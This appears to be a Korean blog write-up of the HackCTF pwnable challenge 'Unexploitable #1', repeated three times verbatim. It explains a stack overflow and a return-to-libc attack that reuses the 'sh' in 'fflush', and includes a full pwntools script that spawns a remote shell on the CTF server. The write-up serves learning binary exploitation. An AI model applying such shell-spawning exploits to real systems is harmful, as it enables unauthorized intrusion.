뇌
[ Pwnable ] Unexploitable #1 write-up 본문
[ 메모리 보호기법 ]


바이너리의 main 함수 코드이다.
출력문을 보면 RTL
을 하는 것 같다.
일단 변수 s 의 시작주소는 rbp-0x10 인데, fgets 함수에서 최대 0x40 bytes 만큼 받을 수 있으므로 BOF
가 발생한다.
다른 함수들을 보니까 gift 라는 함수가 있다.

system 함수가 있으므로 이걸 나중에 쓰면 될 듯하다.
ROP 로 풀면 풀 수 있겠지만, Easy RTL ? 이라고 하니 RTL
로 풀 수 있는 문제인 것 같았다. ( 생각해보니까 ROP 안됨. 가젯이 없음. csu_init 으로는 길이가 너무 길어서 안됨 )
system 함수는 있으니 "/bin/sh/" 라는 문자열만 있으면 된다.
하지만 "/bin/sh" 라는 문자열이 이 바이너리 내부에 없으면 RTL
로 풀 수 없다.
고민을 하다가 라업을 앞부분만 조금 봤다 ㅎ.
엄청난 걸 발견했다.
1. fflush 함수에서 "sh" 를 사용하자.
2. system("/bin/sh"); 말고, system("sh"); 도 가능하다.

함수 이름이 있는 위치를 찾아서 's' 가 있는 주소를 rdi 에 넣으면 sh\0 의 주소가 들어갈 것이다. 딱 맞다.
[ exploit ]
from pwn import *
#p = process('./Unexploitable_1')
p = remote('ctf.j0n9hyun.xyz', '3023')
e = ELF('./Unexploitable_1')
prdi = 0x00000000004007d3 # pop rdi
pay = ''
pay += 'A'*0x18
pay += p64(prdi)
pay += p64(0x00000000004003Bf) # 'sh\0'
pay += p64(e.symbols['gift']+9) # system()
p.sendlineafter('\n', pay)
p.interactive()
생각하면 쉬운 문제이지만, 이런 문제를 풀 때마다 포너블을 하는데 조금씩 넓게 생각하는 방법을 알아가는 것 같다.
좋은 문제인 것 같당
푸는 문제마다 선배한테나 라업을 보고 힌트를 얻어 푸는 것 같다.
내가 혼자 풀 수 있는 날은 언제 오나용 ~
'Pwnable > HackCTF write-up' 카테고리의 다른 글
[ Pwnable ] Unexploitable #3 write-up (0) | 2020.11.06 |
---|---|
[ Pwnable ] Unexploitable #2 write-up (0) | 2020.11.06 |
[ Pwnable ] SysROP write-up (0) | 2020.11.05 |
[ 메모리 보호기법 ]


바이너리의 main 함수 코드이다.
출력문을 보면 RTL
을 하는 것 같다.
일단 변수 s 의 시작주소는 rbp-0x10 인데, fgets 함수에서 최대 0x40 bytes 만큼 받을 수 있으므로 BOF
가 발생한다.
다른 함수들을 보니까 gift 라는 함수가 있다.

system 함수가 있으므로 이걸 나중에 쓰면 될 듯하다.
ROP 로 풀면 풀 수 있겠지만, Easy RTL ? 이라고 하니 RTL
로 풀 수 있는 문제인 것 같았다. ( 생각해보니까 ROP 안됨. 가젯이 없음. csu_init 으로는 길이가 너무 길어서 안됨 )
system 함수는 있으니 "/bin/sh/" 라는 문자열만 있으면 된다.
하지만 "/bin/sh" 라는 문자열이 이 바이너리 내부에 없으면 RTL
로 풀 수 없다.
고민을 하다가 라업을 앞부분만 조금 봤다 ㅎ.
엄청난 걸 발견했다.
1. fflush 함수에서 "sh" 를 사용하자.
2. system("/bin/sh"); 말고, system("sh"); 도 가능하다.

함수 이름이 있는 위치를 찾아서 's' 가 있는 주소를 rdi 에 넣으면 sh\0 의 주소가 들어갈 것이다. 딱 맞다.
[ exploit ]
from pwn import *
#p = process('./Unexploitable_1')
p = remote('ctf.j0n9hyun.xyz', '3023')
e = ELF('./Unexploitable_1')
prdi = 0x00000000004007d3 # pop rdi
pay = ''
pay += 'A'*0x18
pay += p64(prdi)
pay += p64(0x00000000004003Bf) # 'sh\0'
pay += p64(e.symbols['gift']+9) # system()
p.sendlineafter('\n', pay)
p.interactive()
생각하면 쉬운 문제이지만, 이런 문제를 풀 때마다 포너블을 하는데 조금씩 넓게 생각하는 방법을 알아가는 것 같다.
좋은 문제인 것 같당
푸는 문제마다 선배한테나 라업을 보고 힌트를 얻어 푸는 것 같다.
내가 혼자 풀 수 있는 날은 언제 오나용 ~
'Pwnable > HackCTF write-up' 카테고리의 다른 글
[ Pwnable ] Unexploitable #3 write-up (0) | 2020.11.06 |
---|---|
[ Pwnable ] Unexploitable #2 write-up (0) | 2020.11.06 |
[ Pwnable ] SysROP write-up (0) | 2020.11.05 |
[ 메모리 보호기법 ]


바이너리의 main 함수 코드이다.
출력문을 보면 RTL
을 하는 것 같다.
일단 변수 s 의 시작주소는 rbp-0x10 인데, fgets 함수에서 최대 0x40 bytes 만큼 받을 수 있으므로 BOF
가 발생한다.
다른 함수들을 보니까 gift 라는 함수가 있다.

system 함수가 있으므로 이걸 나중에 쓰면 될 듯하다.
ROP 로 풀면 풀 수 있겠지만, Easy RTL ? 이라고 하니 RTL
로 풀 수 있는 문제인 것 같았다. ( 생각해보니까 ROP 안됨. 가젯이 없음. csu_init 으로는 길이가 너무 길어서 안됨 )
system 함수는 있으니 "/bin/sh/" 라는 문자열만 있으면 된다.
하지만 "/bin/sh" 라는 문자열이 이 바이너리 내부에 없으면 RTL
로 풀 수 없다.
고민을 하다가 라업을 앞부분만 조금 봤다 ㅎ.
엄청난 걸 발견했다.
1. fflush 함수에서 "sh" 를 사용하자.
2. system("/bin/sh"); 말고, system("sh"); 도 가능하다.

함수 이름이 있는 위치를 찾아서 's' 가 있는 주소를 rdi 에 넣으면 sh\0 의 주소가 들어갈 것이다. 딱 맞다.
[ exploit ]
from pwn import *
#p = process('./Unexploitable_1')
p = remote('ctf.j0n9hyun.xyz', '3023')
e = ELF('./Unexploitable_1')
prdi = 0x00000000004007d3 # pop rdi
pay = ''
pay += 'A'*0x18
pay += p64(prdi)
pay += p64(0x00000000004003Bf) # 'sh\0'
pay += p64(e.symbols['gift']+9) # system()
p.sendlineafter('\n', pay)
p.interactive()
생각하면 쉬운 문제이지만, 이런 문제를 풀 때마다 포너블을 하는데 조금씩 넓게 생각하는 방법을 알아가는 것 같다.
좋은 문제인 것 같당
푸는 문제마다 선배한테나 라업을 보고 힌트를 얻어 푸는 것 같다.
내가 혼자 풀 수 있는 날은 언제 오나용 ~
'Pwnable > HackCTF write-up' 카테고리의 다른 글
[ Pwnable ] Unexploitable #3 write-up (0) | 2020.11.06 |
---|---|
[ Pwnable ] Unexploitable #2 write-up (0) | 2020.11.06 |
[ Pwnable ] SysROP write-up (0) | 2020.11.05 |